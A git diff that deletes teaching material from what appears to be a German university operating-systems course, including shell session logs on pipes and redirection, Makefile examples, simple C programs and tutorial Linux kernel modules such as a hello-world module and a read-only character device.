07c22ca5c97457a14481c16cfc1e571df48852ac..0000000000000000000000000000000000000000 --- a/20220328/if-3.sh +++ /dev/null @@ -1,5 +0,0 @@ -if grep -q Test test.txt; then - echo "gefunden" -else - echo "nicht gefunden" -fi diff --git a/20220328/if-3.txt b/20220328/if-3.txt deleted file mode 100644 index a58fbc15993f5ab7a45b9f425f4f018aca6d6f44..0000000000000000000000000000000000000000 --- a/20220328/if-3.txt +++ /dev/null @@ -1,9 +0,0 @@ -cassini/home/peter/bo/2022ss/bs/20220314> cat if-3.sh -if grep -q Test test.txt; then - echo "gefunden" -else - echo "nicht gefunden" -fi -cassini/home/peter/bo/2022ss/bs/20220314> chmod +x if-3.sh -cassini/home/peter/bo/2022ss/bs/20220314> ./if-3.sh -gefunden diff --git a/20220328/ls-2.both b/20220328/ls-2.both deleted file mode 100644 index 0fc4e8bbabf8b455fd8e53155c1d931dc93d6969..0000000000000000000000000000000000000000 --- a/20220328/ls-2.both +++ /dev/null @@ -1 +0,0 @@ --rw-r--r-- 1 peter peter 20 Mär 28 13:14 test.txt diff --git a/20220328/ls.both b/20220328/ls.both deleted file mode 100644 index ef97ff974bf020b60d7cc1efba7a4344fb89294e..0000000000000000000000000000000000000000 --- a/20220328/ls.both +++ /dev/null @@ -1,2 +0,0 @@ -ls: Zugriff auf 'bla.txt' nicht möglich: Datei oder Verzeichnis nicht gefunden --rw-r--r-- 1 peter peter 20 Mär 28 13:14 test.txt diff --git a/20220328/ls.err b/20220328/ls.err deleted file mode 100644 index 19a95c0f61de4dbbb33e07e52a015dd21f928b4f..0000000000000000000000000000000000000000 --- a/20220328/ls.err +++ /dev/null @@ -1 +0,0 @@ -ls: Zugriff auf 'bla.txt' nicht möglich: Datei oder Verzeichnis nicht gefunden diff --git a/20220328/ls.txt b/20220328/ls.txt deleted file mode 100644 index 0fc4e8bbabf8b455fd8e53155c1d931dc93d6969..0000000000000000000000000000000000000000 --- a/20220328/ls.txt +++ /dev/null @@ -1 +0,0 @@ --rw-r--r-- 1 peter peter 20 Mär 28 13:14 test.txt diff --git a/20220328/pipes-1.txt b/20220328/pipes-1.txt deleted file mode 100644 index a31f60393485cc40e2107fee6570a0db4aede226..0000000000000000000000000000000000000000 --- a/20220328/pipes-1.txt +++ /dev/null @@ -1,29 +0,0 @@ -cassini/home/peter/bo/2022ss/bs/20220328> cat test.bc -1 + 1 -cassini/home/peter/bo/2022ss/bs/20220328> bc < test.bc -2 -cassini/home/peter/bo/2022ss/bs/20220328> echo "2 + 2" | bc -4 -cassini/home/peter/bo/2022ss/bs/20220328> cat test.txt -Test -Noch ein Test. -cassini/home/peter/bo/2022ss/bs/20220328> cat test.txt | sed -e 's/Test/Toast/g' -Toast -Noch ein Toast. -cassini/home/peter/bo/2022ss/bs/20220328> cat test.txt | gzip -gzip: compressed data not written to a terminal. Use -f to force compression. -For help, type: gzip -h -cassini/home/peter/bo/2022ss/bs/20220328> cat test.txt | gzip -f -7�Ab - I-.���O�PH����s�d-cassini/home/peter/bo/2022ss/bs/20220328> cat test.txt | gzip | gunzip -Test -Noch ein Test. -cassini/home/peter/bo/2022ss/bs/20220328> cat test.txt | gzip | cat | gunzip -Test -Noch ein Test. -cassini/home/peter/bo/2022ss/bs/20220328> cat test.txt | gzip > test.txt.gz -cassini/home/peter/bo/2022ss/bs/20220328> cat test.txt.gz -w�Ab - I-.���O�PH����s�d-cassini/home/peter/bo/2022ss/bs/20220328> cat test.txt.gz | gunzip -Test -Noch ein Test. diff --git a/20220328/pipes-2.txt b/20220328/pipes-2.txt deleted file mode 100644 index 6e5f761f3b599c90a7f943a0cb6df196dedf1fd3..0000000000000000000000000000000000000000 --- a/20220328/pipes-2.txt +++ /dev/null @@ -1,13 +0,0 @@ -cassini/home/peter/bo/2022ss/bs/20220314> ls *.pdf -bs-20220314.pdf logo-hochschule-bochum.pdf unix-20220314.pdf -logo-hochschule-bochum-cvh-text.pdf Operating_system_placement-de.pdf -cassini/home/peter/bo/2022ss/bs/20220314> ls *.pdf | grep -v logo -bs-20220314.pdf -Operating_system_placement-de.pdf -unix-20220314.pdf -cassini/home/peter/bo/2022ss/bs/20220314> echo $(ls *.pdf | grep -v logo) -bs-20220314.pdf Operating_system_placement-de.pdf unix-20220314.pdf -cassini/home/peter/bo/2022ss/bs/20220314> ls -l $(ls *.pdf | grep -v logo) --rw-r--r-- 1 peter peter 132739 Mär 13 22:24 bs-20220314.pdf -lrwxrwxrwx 1 peter peter 43 Apr 17 2016 Operating_system_placement-de.pdf -> ../common/Operating_system_placement-de.pdf --rw-r--r-- 1 peter peter 149583 Mär 21 15:16 unix-20220314.pdf diff --git a/20220328/redirection-1.txt b/20220328/redirection-1.txt deleted file mode 100644 index a0db584f50c8d700737015f9b23d2d54e59bdec4..0000000000000000000000000000000000000000 --- a/20220328/redirection-1.txt +++ /dev/null @@ -1,16 +0,0 @@ --rw-r--r-- 1 peter peter 20 Mär 28 13:14 test.txt -cassini/home/peter/bo/2022ss/bs/20220328> ls -l test.txt --rw-r--r-- 1 peter peter 20 Mär 28 13:14 test.txt -cassini/home/peter/bo/2022ss/bs/20220328> ls -l test.txt bla.txt -ls: Zugriff auf 'bla.txt' nicht möglich: Datei oder Verzeichnis nicht gefunden --rw-r--r-- 1 peter peter 20 Mär 28 13:14 test.txt -cassini/home/peter/bo/2022ss/bs/20220328> ls -l test.txt bla.txt >> ls.txt -ls: Zugriff auf 'bla.txt' nicht möglich: Datei oder Verzeichnis nicht gefunden -cassini/home/peter/bo/2022ss/bs/20220328> ls -l test.txt bla.txt 2> ls.err --rw-r--r-- 1 peter peter 20 Mär 28 13:14 test.txt -cassini/home/peter/bo/2022ss/bs/20220328> cat ls.err -ls: Zugriff auf 'bla.txt' nicht möglich: Datei oder Verzeichnis nicht gefunden -cassini/home/peter/bo/2022ss/bs/20220328> ls -l test.txt bla.txt > ls.both 2>&1 -cassini/home/peter/bo/2022ss/bs/20220328> cat ls.both -ls: Zugriff auf 'bla.txt' nicht möglich: Datei oder Verzeichnis nicht gefunden --rw-r--r-- 1 peter peter 20 Mär 28 13:14 test.txt diff --git a/20220328/test.bc b/20220328/test.bc deleted file mode 100644 index 8d2f0971e2ce6dbec02115565c6f0e9c10ee9a02..0000000000000000000000000000000000000000 --- a/20220328/test.bc +++ /dev/null @@ -1 +0,0 @@ -1 + 1 diff --git a/20220328/test.txt b/20220328/test.txt deleted file mode 100644 index f5eb9ba2b44cbda606525428a4393cc86e210d63..0000000000000000000000000000000000000000 --- a/20220328/test.txt +++ /dev/null @@ -1,2 +0,0 @@ -Test -Noch ein Test. diff --git a/20220328/test.txt.gz b/20220328/test.txt.gz deleted file mode 100644 index 4f6dd25dc60cbf979be117a062a21f9e19a48d78..0000000000000000000000000000000000000000 Binary files a/20220328/test.txt.gz and /dev/null differ diff --git a/20220328/wildcards-1.txt b/20220328/wildcards-1.txt deleted file mode 100644 index b07312ed004cde167749945cacc9d4ecbe983683..0000000000000000000000000000000000000000 --- a/20220328/wildcards-1.txt +++ /dev/null @@ -1,6 +0,0 @@ -cassini/home/peter/bo/2022ss/bs/20220314> ls *.txt -for-1.txt if-0.txt if-2.txt pipes-2.txt test.txt -for-2.txt if-1.txt if-3.txt test-2.txt -cassini/home/peter/bo/2022ss/bs/20220314> echo mv -i {for,if,pipes}-*.txt ../20220321/ -mv -i for-1.txt for-2.txt if-0.txt if-1.txt if-2.txt if-3.txt pipes-2.txt ../20220321/ -cassini/home/peter/bo/2022ss/bs/20220314> mv -i {for,if,pipes}-*.txt ../20220321/ diff --git a/20220328/wildcards-2.txt b/20220328/wildcards-2.txt deleted file mode 100644 index d9414635c832a2a1f4b353070a95883cfb11d34d..0000000000000000000000000000000000000000 --- a/20220328/wildcards-2.txt +++ /dev/null @@ -1,15 +0,0 @@ -cassini/home/peter/bo/2022ss/bs/20220321> ls *.txt -for-1.txt if-0.txt if-2.txt pipes-2.txt test-2.txt test-4.txt -for-2.txt if-1.txt if-3.txt test-1.txt test-3.txt wildcards-1.txt -cassini/home/peter/bo/2022ss/bs/20220321> ls *.txt | grep -v test -for-1.txt -for-2.txt -if-0.txt -if-1.txt -if-2.txt -if-3.txt -pipes-2.txt -wildcards-1.txt -cassini/home/peter/bo/2022ss/bs/20220321> echo mv $(ls *.txt | grep -v test) ../20220328/ -mv for-1.txt for-2.txt if-0.txt if-1.txt if-2.txt if-3.txt pipes-2.txt wildcards-1.txt ../20220328/ -cassini/home/peter/bo/2022ss/bs/20220321> mv $(ls *.txt | grep -v test) ../20220328/ diff --git a/20220404/Makefile b/20220404/Makefile deleted file mode 120000 index 5ce401dd46fbd7266779a960b7ddfda0197b3a70..0000000000000000000000000000000000000000 --- a/20220404/Makefile +++ /dev/null @@ -1 +0,0 @@ -Makefile-modules \ No newline at end of file diff --git a/20220404/Makefile-1 b/20220404/Makefile-1 deleted file mode 100644 index bfc1b10a929f22a8c2f4f0cf0368c78db14ad0b0..0000000000000000000000000000000000000000 --- a/20220404/Makefile-1 +++ /dev/null @@ -1,8 +0,0 @@ -philosophy: philosophy.o answer.o - gcc philosophy.o answer.o -o philosophy - -answer.o: answer.c answer.h - gcc -Wall -O answer.c -c - -philosophy.o: philosophy.c answer.h - gcc -Wall -O philosophy.c -c diff --git a/20220404/Makefile-2 b/20220404/Makefile-2 deleted file mode 100644 index 60aab7c7d51b28879c41e8590ab422e9edfadee5..0000000000000000000000000000000000000000 --- a/20220404/Makefile-2 +++ /dev/null @@ -1,16 +0,0 @@ -TARGET = philosophy -OBJECTS = philosophy.o answer.o -HEADERS = answer.h -CFLAGS = -Wall -O - -$(TARGET): $(OBJECTS) - gcc $(OBJECTS) -o $(TARGET) - -answer.o: answer.c $(HEADERS) - gcc $(CFLAGS) answer.c -c - -philosophy.o: philosophy.c $(HEADERS) - gcc $(CFLAGS) philosophy.c -c - -clean: - rm -f $(OBJECTS) $(TARGET) diff --git a/20220404/Makefile-3 b/20220404/Makefile-3 deleted file mode 100644 index 0ac355bfddfd237fe0f1b5062c5a242ab0d3e97e..0000000000000000000000000000000000000000 --- a/20220404/Makefile-3 +++ /dev/null @@ -1,13 +0,0 @@ -TARGET = philosophy -OBJECTS = philosophy.o answer.o -HEADERS = answer.h -CFLAGS = -Wall -O - -$(TARGET): $(OBJECTS) - gcc $(OBJECTS) -o $(TARGET) - -%.o: %.c $(HEADERS) - gcc $(CFLAGS) $< -c - -clean: - rm -f $(OBJECTS) $(TARGET) diff --git a/20220404/Makefile-4 b/20220404/Makefile-4 deleted file mode 100644 index 70bd5fe6b41e20594ceaab84ab7073efd1fe8972..0000000000000000000000000000000000000000 --- a/20220404/Makefile-4 +++ /dev/null @@ -1,15 +0,0 @@ -TARGET = philosophy -OBJECTS = philosophy.o answer.o -HEADERS = answer.h -CFLAGS = -Wall -O - -all: $(TARGET) - -$(TARGET): $(OBJECTS) - gcc $(OBJECTS) -o $(TARGET) - -%.o: %.c $(HEADERS) - gcc $(CFLAGS) $< -c - -clean: - rm -f $(OBJECTS) $(TARGET) diff --git a/20220404/Makefile-modules b/20220404/Makefile-modules deleted file mode 100644 index 817bd62fcb708a904341be771524c0fa2878c5da..0000000000000000000000000000000000000000 --- a/20220404/Makefile-modules +++ /dev/null @@ -1,9 +0,0 @@ -obj-m += hellomod-1.o -obj-m += hellomod-2.o -obj-m += chardev-1.o - -all: - make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules - -clean: - make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean diff --git a/20220404/answer.c b/20220404/answer.c deleted file mode 100644 index e11399f0b3f482162893cbadf5db11129fdb2ef2..0000000000000000000000000000000000000000 --- a/20220404/answer.c +++ /dev/null @@ -1,6 +0,0 @@ -#include "answer.h" - -int answer (void) -{ - return ANSWER; -} diff --git a/20220404/answer.h b/20220404/answer.h deleted file mode 100644 index 6632ffe85a1f2222765dc071a229b15b897339df..0000000000000000000000000000000000000000 --- a/20220404/answer.h +++ /dev/null @@ -1,3 +0,0 @@ -extern int answer (void); - -#define ANSWER 42 diff --git a/20220404/chardev-1.c b/20220404/chardev-1.c deleted file mode 100644 index 17a6651a33313322de202fbcb6bbf82333c0b766..0000000000000000000000000000000000000000 --- a/20220404/chardev-1.c +++ /dev/null @@ -1,166 +0,0 @@ -/* - * chardev.c: Creates a read-only char device that says how many times - * you've read from the dev file - */ - -#include <linux/kernel.h> -#include <linux/module.h> -#include <linux/fs.h> -#include <asm/uaccess.h> /* for put_user */ - -/* - * Prototypes - this would normally go in a .h file - */ -int init_module(void); -void cleanup_module(void); -static int device_open(struct inode *, struct file *); -static int device_release(struct inode *, struct file *); -static ssize_t device_read(struct file *, char *, size_t, loff_t *); -static ssize_t device_write(struct file *, const char *, size_t, loff_t *); - -#define SUCCESS 0 -#define DEVICE_NAME "chardev" /* Dev name as it appears in /proc/devices */ -#define BUF_LEN 80 /* Max length of the message from the device */ - -/* - * Global variables are declared as static, so are global within the file. - */ - -static int Major; /* Major number assigned to our device driver */ -static int Device_Open = 0; /* Is device open? - * Used to prevent multiple access to device */ -static char msg[BUF_LEN]; /* The msg the device will give when asked */ -static char *msg_Ptr; - -static struct file_operations fops = { - .read = device_read, - .write = device_write, - .open = device_open, - .release = device_release -}; - -/* - * This function is called when the module is loaded - */ -int init_module(void) -{ - Major = register_chrdev(0, DEVICE_NAME, &fops); - - if (Major < 0) { - printk(KERN_ALERT "Registering char device failed with %d\n", Major); - return Major; - } - - printk(KERN_INFO "I was assigned major number %d. To talk to\n", Major); - printk(KERN_INFO "the driver, create a dev file with\n"); - printk(KERN_INFO "'mknod /dev/%s c %d 0'.\n", DEVICE_NAME, Major); - printk(KERN_INFO "Try various minor numbers. Try to cat and echo to\n"); - printk(KERN_INFO "the device file.\n"); - printk(KERN_INFO "Remove the device file and module when done.\n"); - - return SUCCESS; -} - -/* - * This function is called when the module is unloaded - */ -void cleanup_module(void) -{ - /* - * Unregister the device - */ - unregister_chrdev(Major, DEVICE_NAME); -} - -/* - * Methods - */ - -/* - * Called when a process tries to open the device file, like - * "cat /dev/mycharfile" - */ -static int device_open(struct inode *inode, struct file *file) -{ - static int counter = 0; - - if (Device_Open) - return -EBUSY; - - Device_Open++; - sprintf(msg, "I already told you %d times Hello world!\n", counter++); - msg_Ptr = msg; - try_module_get(THIS_MODULE); - - return SUCCESS; -} - -/* - * Called when a process closes the device file. - */ -static int device_release(struct inode *inode, struct file *file) -{ - Device_Open--; /* We're now ready for our next caller */ - - /* - * Decrement the usage count, or else once you opened the file, you'll - * never get get rid of the module. - */ - module_put(THIS_MODULE); - - return 0; -} - -/* - * Called when a process, which already opened the dev file, attempts to - * read from it. - */ -static ssize_t device_read(struct file *filp, /* see include/linux/fs.h */ - char *buffer, /* buffer to fill with data */ - size_t length, /* length of the buffer */ - loff_t * offset) -{ - /* - * Number of bytes actually written to the buffer - */ - int bytes_read = 0; - - /* - * If we're at the end of the message, - * return 0 signifying end of file - */ - if (*msg_Ptr == 0) - return 0; - - /* - * Actually put the data into the buffer - */ - while (length && *msg_Ptr) { - - /* - * The buffer is in the user data segment, not the kernel - * segment so "*" assignment won't work. We have to use - * put_user which copies data from the kernel data segment to - * the user data segment. - */ - put_user(*(msg_Ptr++), buffer++); - - length--; - bytes_read++; - } - - /* - * Most read functions return the number of bytes put into the buffer - */ - return bytes_read; -} - -/* - * Called when a process writes to dev file: echo "hi" > /dev/hello - */ -static ssize_t -device_write(struct file *filp, const char *buff, size_t len, loff_t * off) -{ - printk(KERN_ALERT "Sorry, this operation isn't supported.\n"); - return -EINVAL; -} diff --git a/20220404/freedos.hd b/20220404/freedos.hd deleted file mode 100644 index bf24ea7697c79c81cbb1ff01ddb015a63faff730..0000000000000000000000000000000000000000 Binary files a/20220404/freedos.hd and /dev/null differ diff --git a/20220404/hello world 2.c b/20220404/hello world 2.c deleted file mode 120000 index 70cd6bdad23fecbf8644e341b167204161628cc2..0000000000000000000000000000000000000000 --- a/20220404/hello world 2.c +++ /dev/null @@ -1 +0,0 @@ -hello-2.c \ No newline at end of file diff --git a/20220404/hello world.c b/20220404/hello world.c deleted file mode 120000 index 45e5f7632c36a48204746adfd50f6d3506233045..0000000000000000000000000000000000000000 --- a/20220404/hello world.c +++ /dev/null @@ -1 +0,0 @@ -hello-1.c \ No newline at end of file diff --git a/20220404/hello-1.c b/20220404/hello-1.c deleted file mode 100644 index b19d80e9bd0bd7c5ed8f54b20c6a50d9166f03ac..0000000000000000000000000000000000000000 --- a/20220404/hello-1.c +++ /dev/null @@ -1,7 +0,0 @@ -#include <stdio.h> - -int main (void) -{ - printf ("Hello, world!\n"); - return 0; -} diff --git a/20220404/hello-2.c b/20220404/hello-2.c deleted file mode 100644 index b19d80e9bd0bd7c5ed8f54b20c6a50d9166f03ac..0000000000000000000000000000000000000000 --- a/20220404/hello-2.c +++ /dev/null @@ -1,7 +0,0 @@ -#include <stdio.h> - -int main (void) -{ - printf ("Hello, world!\n"); - return 0; -} diff --git a/20220404/hellomod-1.c b/20220404/hellomod-1.c deleted file mode 100644 index a9fef793369a4e24da98b91e1bb7c651190ceea2..0000000000000000000000000000000000000000 --- a/20220404/hellomod-1.c +++ /dev/null @@ -1,20 +0,0 @@ -/* - * hello-1.c - The simplest kernel module. - */ -#include <linux/module.h> /* Needed by all modules */ -#include <linux/kernel.h> /* Needed for KERN_INFO */ - -int init_module(void) -{ - printk(KERN_INFO "Hello world 1.\n"); - - /* - * A non 0 return means init_module failed; module can't be loaded. - */ - return 0; -} - -void cleanup_module(void) -{ - printk(KERN_INFO "Goodbye world 1.\n"); -} diff --git a/20220404/hellomod-2.c b/20220404/hellomod-2.c deleted file mode 100644 index a2bb30b1329f9a2997a2d6164631618635f41f4c..0000000000000000000000000000000000000000 --- a/20220404/hellomod-2.c +++ /dev/null @@ -1,22 +0,0 @@ -/* - * hello-2.c - The simplest kernel module. - */ -#include <linux/module.h> /* Needed by all modules */ -#include <linux/kernel.h> /* Needed for KERN_INFO */ - -MODULE_LICENSE("GPL"); - -int init_module(void) -{ - printk(KERN_INFO "Hello world 2.\n"); - - /* - * A non 0 return means init_module failed; module can't be loaded. - */ - return 0; -} - -void cleanup_module(void) -{ - printk(KERN_INFO "Goodbye world 2.\n"); -} diff --git a/20220404/make-1.txt b/20220404/make-1.txt deleted file mode 100644 index bae6639927d6ea0b9faa07e2884b1e2b10edba15..0000000000000000000000000000000000000000 --- a/20220404/make-1.txt +++ /dev/null @@ -1,60 +0,0 @@ -cassini/home/peter/bo/2022ss/bs/20220404> cat philosophy.c -#include <stdio.h> -#include "answer.h" - -int main (void) -{ - printf ("The answer is %d.\n", answer ()); - return 0; -} -cassini/home/peter/bo/2022ss/bs/20220404> cat answer.h -extern int answer (void); - -#define ANSWER 42 -cassini/home/peter/bo/2022ss/bs/20220404> cat answer.c -#include "answer.h" - -int answer (void) -{ - return ANSWER; -} -cassini/home/peter/bo/2022ss/bs/20220404> gcc -Wall -O philosophy.c -o philosophy -/usr/bin/ld: /tmp/ccjJ8ZhE.o: in function `main': -philosophy.c:(.text+0x5): undefined reference to `answer' -collect2: error: ld returned 1 exit status -cassini/home/peter/bo/2022ss/bs/20220404> gcc -Wall -O philosophy.c answer.c -o philosophy -Sie haben neue Post in /var/mail/peter. -cassini/home/peter/bo/2022ss/bs/20220404> ./philosophy -The answer is 42. -cassini/home/peter/bo/2022ss/bs/20220404> gcc -Wall -O philosophy.c -c -cassini/home/peter/bo/2022ss/bs/20220404> gcc -Wall -O answer.c -c -cassini/home/peter/bo/2022ss/bs/20220404> ls -l philosophy.[co] answer.[co] --rw-r--r-- 1 peter peter 60 Dez 13 13:46 answer.c --rw-r--r-- 1 peter peter 1208 Apr 4 13:57 answer.o --rw-r--r-- 1 peter peter 117 Jan 4 2021 philosophy.c --rw-r--r-- 1 peter peter 1632 Apr 4 13:57 philosophy.o -cassini/home/peter/bo/2022ss/bs/20220404> gcc philosophy.o answer.o -o philosophy -cassini/home/peter/bo/2022ss/bs/20220404> ./philosophy -The answer is 42. -cassini/home/peter/bo/2022ss/bs/20220404> gcc philosophy.o -o philosophy -/usr/bin/ld: philosophy.o: in function `main': -philosophy.c:(.text+0x5): undefined reference to `answer' -collect2: error: ld returned 1 exit status -cassini/home/peter/bo/2022ss/bs/20220404> cat Makefile-1 -philosophy: philosophy.o answer.o - gcc philosophy.o answer.o -o philosophy - -answer.o: answer.c answer.h - gcc -Wall -O answer.c -c - -philosophy.o: philosophy.c answer.h - gcc -Wall -O philosophy.c -c -cassini/home/peter/bo/2022ss/bs/20220404> make -make: *** Es wurden keine Ziele angegeben und keine „make“-Steuerdatei gefunden. Schluss. -cassini/home/peter/bo/2022ss/bs/20220404> make -f Makefile-1 -gcc philosophy.o answer.o -o philosophy -cassini/home/peter/bo/2022ss/bs/20220404> rm *.o -cassini/home/peter/bo/2022ss/bs/20220404> make -f Makefile-1 -gcc -Wall -O philosophy.c -c -gcc -Wall -O answer.c -c -gcc philosophy.o answer.o -o philosophy diff --git a/20220404/make-2.txt b/20220404/make-2.txt deleted file mode 100644 index ab38c8dd947a3c1b4c8ab3541176519d9634e261..0000000000000000000000000000000000000000 --- a/20220404/make-2.txt +++ /dev/null @@ -1,45 +0,0 @@ -/* - * hello-1.c - The simplest kernel module. - */ -#include <linux/module.h> /* Needed by all modules */ -#include <linux/kernel.h> /* Needed for KERN_INFO */ - -int init_module(void) -{ - printk(KERN_INFO "Hello world 1.\n"); - - /* - * A non 0 return means init_module failed; module can't be loaded. - */ - return 0; -} - -void cleanup_module(void) -{ - printk(KERN_INFO "Goodbye world 1.\n"); -} -cassini/home/peter/bo/2022ss/bs/20220404> cat Makefile-modules-1 -obj-m += hellomod-1.o - -# obj-m += hellomod-2.o -# obj-m += chardev-1.o - -all: - make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules - -clean: - make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean -cassini/home/peter/bo/2022ss/bs/20220404> ln -sf Makefile-modules-1 Makefile -cassini/home/peter/bo/2022ss/bs/20220404> echo /lib/modules/$(shell uname -r)/build -bash: shell: Kommando nicht gefunden. -/lib/modules//build -cassini/home/peter/bo/2022ss/bs/20220404> echo /lib/modules/$(uname -r)/build -/lib/modules/4.19.0-12-amd64/build -cassini/home/peter/bo/2022ss/bs/20220404> ls /lib/modules/4.19.0-12-amd64/build -arch include Makefile Module.symvers scripts tools -cassini/home/peter/bo/2022ss/bs/20220404> uname -Linux -cassini/home/peter/bo/2022ss/bs/20220404> uname -r -4.19.0-12-amd64 -cassini/home/peter/bo/2022ss/bs/20220404> pwd -/home/peter/bo/2022ss/bs/20220404 diff --git a/20220404/modules-1.txt b/20220404/modules-1.txt deleted file mode 100644 index d0b19f27400f8df15bcb3f7054f98ac8a2407d08..0000000000000000000000000000000000000000 --- a/20220404/modules-1.txt +++ /dev/null @@ -1,33 +0,0 @@ --rw-r--r-- 1 peter peter 270648 Apr 4 14:19 hellomod-1.ko -cassini/home/peter/bo/2022ss/bs/20220404> ./hellomod-1.ko -bash: ./hellomod-1.ko: Keine Berechtigung -cassini/home/peter/bo/2022ss/bs/20220404> chmod +x hellomod-1.ko -cassini/home/peter/bo/2022ss/bs/20220404> ./hellomod-1.ko -bash: ./hellomod-1.ko: Kann die Binärdatei nicht ausführen: Fehler im Format der Programmdatei -cassini/home/peter/bo/2022ss/bs/20220404> chmod -x hellomod-1.ko -cassini/home/peter/bo/2022ss/bs/20220404> insmod hellomod-1.ko -bash: insmod: Kommando nicht gefunden. -cassini/home/peter/bo/2022ss/bs/20220404> sudo insmod hellomod-1.ko -[sudo] Passwort für peter: -cassini/home/peter/bo/2022ss/bs/20220404> sudo rmmod hellomod-1.ko -cassini/home/peter/bo/2022ss/bs/20220404> cat hellomod-1.c -/* - * hello-1.c - The simplest kernel module. - */ -#include <linux/module.h> /* Needed by all modules */ -#include <linux/kernel.h> /* Needed for KERN_INFO */ - -int init_module(void) -{ - printk(KERN_INFO "Hello world 1.\n"); - - /* - * A non 0 return means init_module failed; module can't be loaded. - */ - return 0; -} - -void cleanup_module(void) -{ - printk(KERN_INFO "Goodbye world 1.\n"); -} diff --git a/20220404/modules-2.txt b/20220404/modules-2.txt deleted file mode 100644 index be8dd1125da58e01eb6ab1b40f9045dccd1400cb..0000000000000000000000000000000000000000 --- a/20220404/modules-2.txt +++ /dev/null @@ -1,8 +0,0 @@ -cassini/home/peter/bo/2022ss/bs/20220404> sudo dmesg -[...] -[1583119.050593] hellomod_1: loading out-of-tree module taints kernel. -[1583119.050600] hellomod_1: module license 'unspecified' taints kernel. -[1583119.050601] Disabling lock debugging due to kernel taint -[1583119.050666] hellomod_1: module verification failed: signature and/or required key missing - tainting kernel -[1583119.051455] Hello world 1. -[1583136.476867] Goodbye world 1. diff --git a/20220404/modules-3.txt b/20220404/modules-3.txt deleted file mode 100644 index 2e92a6ca2c886b3b7b920d67ff636c2df6060563..0000000000000000000000000000000000000000 --- a/20220404/modules-3.txt +++ /dev/null @@ -1,4 +0,0 @@ -cassini/home/peter/bo/2022ss/bs/20220404> sudo dmesg -[...] -[1583551.529893] Hello world 2. -[1583557.018894] Goodbye world 2. diff --git a/20220404/modules-4.txt b/20220404/modules-4.txt deleted file mode 100644 index 00b0a49562cef65640b80b7eecb3ecb21ce6f01e..0000000000000000000000000000000000000000 --- a/20220404/modules-4.txt +++ /dev/null @@ -1,6 +0,0 @@ -[1584035.731938] I was assigned major number 241. To talk to -[1584035.731939] the driver, create a dev file with -[1584035.731940] 'mknod /dev/chardev c 241 0'. -[1584035.731940] Try various minor numbers. Try to cat and echo to -[1584035.731941] the device file. -[1584035.731941] Remove the device file and module when done. diff --git a/20220404/modules-5.txt b/20220404/modules-5.txt deleted file mode 100644 index a82d2ec284069fb1fe7448ca66847a5ddba9ee23..0000000000000000000000000000000000000000 --- a/20220404/modules-5.txt +++ /dev/null @@ -1,15 +0,0 @@ -cassini/home/peter/bo/2022ss/bs/20220404> mkdir dev -cassini/home/peter/bo/2022ss/bs/20220404> mknod dev/chardev c 241 0 -mknod: dev/chardev: Die Operation ist nicht erlaubt -cassini/home/peter/bo/2022ss/bs/20220404> sudo mknod dev/chardev c 241 0 -cassini/home/peter/bo/2022ss/bs/20220404> ls -l dev/ -insgesamt 0 -crw-r--r-- 1 root root 241, 0 Apr 4 14:39 chardev -cassini/home/peter/bo/2022ss/bs/20220404> ls -l /dev/tty -crw-rw-rw- 1 root tty 5, 0 Apr 4 14:22 /dev/tty -cassini/home/peter/bo/2022ss/bs/20220404> cat dev/chardev -I already told you 0 times Hello world! -cassini/home/peter/bo/2022ss/bs/20220404> cat dev/chardev -I already told you 1 times Hello world! -cassini/home/peter/bo/2022ss/bs/20220404> cat dev/chardev -I already told you 2 times Hello world! diff --git a/20220404/nix-hello.c b/20220404/nix-hello.c deleted file mode 100644 index cc2018703757a875b70c2aa3fd1a104d7e870301..0000000000000000000000000000000000000000 --- a/20220404/nix-hello.c +++ /dev/null @@ -1,15 +0,0 @@ -int main (void) -{ - char *p = (char *) 0xb8000000; - *p++ = 'H'; - *p++ = 0x04; - *p++ = 'e'; - *p++ = 0x02; - *p++ = 'l'; - *p++ = 0x01; - *p++ = 'l'; - *p++ = 0x06; - *p++ = 'o'; - *p++ = 0x03; - return 0; -} diff --git a/20220404/os-layers-1.jpg b/20220404/os-layers-1.jpg deleted file mode 120000 index 6dc99e9e12dbc84e908c37974c7d528be014d587..0000000000000000000000000000000000000000 --- a/20220404/os-layers-1.jpg +++ /dev/null @@ -1 +0,0 @@ -../common/os-layers-1.jpg \ No newline at end of file diff --git a/20220404/os-layers-2.jpg b/20220404/os-layers-2.jpg deleted file mode 120000 index 4da385ea396af0f9c7ed79b23a183a3b5618b445..0000000000000000000000000000000000000000 --- a/20220404/os-layers-2.jpg +++ /dev/null @@ -1 +0,0 @@ -../common/os-layers-2.jpg \ No newline at end of file diff --git a/20220404/os-layers-3.jpg b/20220404/os-layers-3.jpg deleted file mode 120000 index eaf5b599709e39d1c51dfdac28843c31b3fa971c..0000000000000000000000000000000000000000 --- a/20220404/os-layers-3.jpg +++ /dev/null @@ -1 +0,0 @@ -../common/os-layers-3.jpg \ No newline at end of file diff --git a/20220404/os-layers-4.jpg b/20220404/os-layers-4.jpg deleted file mode 120000 index efcbbd1827ff55f225fee0b77b8bfb5c6cff980c..0000000000000000000000000000000000000000 --- a/20220404/os-layers-4.jpg +++ /dev/null @@ -1 +0,0 @@ -../common/os-layers-4.jpg \ No newline at end of file diff --git a/20220404/os-layers-5.jpg b/20220404/os-layers-5.jpg deleted file mode 120000 index 91cabe9241f19ece833cb22e8f16587153f246a2..0000000000000000000000000000000000000000 --- a/20220404/os-layers-5.jpg +++ /dev/null @@ -1 +0,0 @@ -../common/os-layers-5.jpg \ No newline at end of file diff --git a/20220404/parameters-1.sh b/20220404/parameters-1.sh deleted file mode 100755 index fbb0a54825f43a77c0d894e2767ba12dd81b50dc..0000000000000000000000000000000000000000 --- a/20220404/parameters-1.sh +++ /dev/null @@ -1,3 +0,0 @@ -#!/bin/bash - -echo $* diff --git a/20220404/parameters-1.txt b/20220404/parameters-1.txt deleted file mode 100644 index cbf2ecc9ffbcb8e4059a835178851d8fc83c227f..0000000000000000000000000000000000000000 --- a/20220404/parameters-1.txt +++ /dev/null @@ -1,16 +0,0 @@ -#!/bin/bash - -echo $* -cassini/home/peter/bo/2022ss/bs/20220404> chmod +x parameters-1.sh -cassini/home/peter/bo/2022ss/bs/20220404> ./parameters-1.sh - -cassini/home/peter/bo/2022ss/bs/20220404> ./parameters-1.sh foo bar bas -foo bar bas -cassini/home/peter/bo/2022ss/bs/20220404> ./parameters-1.sh foo bar baz -foo bar baz 